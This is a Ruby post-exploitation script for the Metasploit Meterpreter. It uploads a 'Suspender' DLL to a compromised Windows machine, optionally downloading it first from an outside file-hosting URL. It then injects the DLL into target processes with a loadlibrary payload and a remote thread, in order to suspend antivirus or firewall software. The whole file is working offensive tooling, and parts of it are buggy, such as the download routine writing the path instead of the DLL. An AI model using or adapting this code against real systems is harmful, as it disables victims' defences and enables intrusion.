suspend_resilientprocess.rb

#
# This Script use the Suspender dll's Library to suspend a windows process, ideally a resilient process like an AV or Stateless Firewall
# To do this, the script uploads the library in the target system and after open the resilient process to suspend, once opened the target process,
# this script generates a payload of type "windows/loadlibrary", after this, will try to allocate a memory space to load the library in the process,
# write the allocated memory into the process and finally create a thread to execute the dll.
# When pass 'n' seconds, the target process will be suspended and his process and threads childs, will be suspended too.
# the 'n' seconds corresponds to the value specified in the dll's filename,
# for example: Suspender10.dll will suspend the target process and his childs in 10 seconds. In the Script
#
# Version 1.0
# written by Adastra.
#
#Variables del script
require 'net/http'
require 'uri'

session = client
wininfo = client.sys.config.sysinfo


# Argumentos de la función
@@exec_opts = Rex::Parser::Arguments.new(
    "-h" => [ false,"Help Menu."],
    "-p" => [ true,"List of processes to suspend in the remote machine, each separated by ','." ],
    "-s" => [ true,"Number of seconds before suspend the process(es)." ],
    "-f" => [ true,"Specify the path of Suspender.dll in the local machine (attacker) to upload in the remote machine." ],
    "-d" => [ true,"Download from a website in Internet. If you don't use this option neither '-f' option the default value will used to download the library from internet"]
)

processes = []
file_suspender_dll = nil
url_suspender_dll = 'http://www.fileserve.com/file/kBSgbw4/Suspender.dll'
downloadMode = true
seconds_to_suspend = nil

def usage
    print_line("ScriptThis Script use the Suspender dll's Library to suspend a windows process, ideally a resilient process like an AV or Stateless Firewall. ")
    print_line("Para do this, the script uploads the library in the target system and after open the resilient process to suspend, once opened the target process, ")
    print_line("this script generates a payload of type 'windows/loadlibrary', after this, will try to allocate a memory space to load the library in the process, ")
    print_line("the allocated memory into the process and finally create a thread to execute the dll. ")
    print_line("When pass 'n' seconds, the target process will be suspended and his process and threads childs, will be suspended too. ")
    print_line("the 'n' seconds corresponds to the value specified in the dll's filename,  ")
    print_line("for example: Suspender10.dll will suspend the target process and his childs in 10 seconds. In the Script  ")

    puts @@exec_opts.usage
    print_line("Example Usage:")
    print_line("run suspendProcess -p process1[,process2,processN] -f PATH_OF_SUSPENDER_DLL")
    print_line("run suspendProcess -p process1[,process2,processN] -d URL_OF_SUSPENDER_DLL")
    raise Rex::Script::Completed
end

def uploadFile(client,file,download,url,seconds)
    uploadedFile=''
    if download
        print_status("Trying to download Suspender from #{url}")

        suspender_dll = Net::HTTP.get URI.parse(url)
        file = File.join(Msf::Config.data_directory, "Suspender#{seconds}.dll")
        File.open(file, "wb") { |fd| fd.write(file) }
        print_status("Suspender10.dll has been downloaded to #{file} (local machine). Please remove manually after use or keep for reuse.")
    end

    if not ::File.exists?(file)
            raise "File to Upload does not exists!"
        else
            location = client.fs.file.expand_path("%TEMP%")
            fullPath = "#{location}\\Suspender#{seconds}.dll"
            begin
                print_status("Uploading #{file}....")
                client.fs.file.upload_file(fullPath, file)
                print_status("successfully uploaded to #{fullPath}!")
                uploadedFile = fullPath
                rescue ::Exception => e
                    print_error("Raised a exception uploading the DLL in the remote machine Maybe the library has been uploaded before... #{e}")
            end
    end
    uploadedFile;
end

def loadProcceses(session,processes_to_suspend,pathtosuspend)
    ret=''

    print_status "Path Library: #{pathtosuspend}"
    processes_to_suspend.each do |process|
        begin
            print_status "Trying to suspend the process with PID: #{process}"
            payload = client.framework.payloads.create("windows/loadlibrary")
            payload.datastore['DLL'] = pathtosuspend
            payload.datastore['EXITFUNC'] = 'thread'
            raw_payload = payload.generate
            targetprocess = client.sys.process.open(process.to_i, PROCESS_ALL_ACCESS)
            memory = targetprocess.memory.allocate(raw_payload.length + (raw_payload.length % 1024))
            targetprocess.memory.write(memory, raw_payload)
            targetprocess.thread.create(memory, 0)
            rescue ::Exception => e
                print_error("Error allocating memory in the target process with PID #{process} the error is: #{e}")
                print_error("following with the next process in the list");
                ret = "#{ret} Error allocating memory in the target process with PID #{process}\n"
        end
        ret = "#{ret} The signal to suspend the #{process} has been submitted\n"
    end
    ret;
end

#Main Function
@@exec_opts.parse(args) {
|opt, idx, val|

    case opt
    when "-p"
        processes.concat(val.split(","))
    when "-d"
        url_suspender_dll = val
        print_status "The Suspender library will be downloaded from Internet, you need internet connection to make this work..."
        downloadMode=true;
    when "-f"
        file_suspender_dll = val
        print_status "File to upload: #{file_suspender_dll} "
        if not ::File.exists?(file_suspender_dll)
            print_error("file not found/accessible!")
            usage
        end
        downloadMode=false;

    when "-s"
        seconds_to_suspend = val
        if seconds_to_suspend.to_i <= 0
            print_error("Number of seconds to suspend the process must be greater than zero!")
        end
        print_status "Setting the number of seconds to suspend the process at #{seconds_to_suspend}"
    when "-h"
        usage
    else
        print_error "Invalid Option: #{opt}"
        usage
    end
}

if seconds_to_suspend == nil
    print_status "Setting the number of seconds to default (10 seconds) if you want to change that, you should use the '-s' option"
    seconds_to_suspend = "10"
end
file_suspender_dll = uploadFile(client, file_suspender_dll,downloadMode,url_suspender_dll,seconds_to_suspend) #if file_suspender_dll
print_status loadProcceses(session,processes,file_suspender_dll)